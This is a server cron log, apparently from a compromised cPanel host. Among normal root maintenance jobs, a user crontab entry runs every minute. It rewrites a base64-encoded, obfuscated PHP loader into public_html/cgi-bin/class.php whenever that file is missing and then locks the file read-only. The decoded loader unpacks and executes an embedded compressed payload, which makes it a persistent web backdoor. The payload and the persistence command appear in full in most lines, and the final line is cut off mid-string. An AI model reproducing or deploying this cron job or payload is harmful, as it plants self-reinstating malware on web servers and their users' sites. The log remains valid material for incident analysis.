Apr  8 18:21:01 server CROND[24145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:22:01 server CROND[24213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:23:01 server CROND[24368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:24:01 server CROND[24429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:25:01 server CROND[24493]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:25:01 server CROND[24494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:25:01 server CROND[24495]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 18:25:01 server CROND[24496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:26:01 server CROND[24622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:27:01 server CROND[24687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:27:01 server CROND[24688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 18:28:01 server CROND[24864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:29:01 server CROND[24930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:30:01 server CROND[24993]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 18:30:01 server CROND[24994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:30:01 server CROND[24995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 18:30:01 server CROND[24996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 18:31:01 server CROND[25117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:32:01 server CROND[25191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:33:01 server CROND[25251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 18:34:01 server CROND[25400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp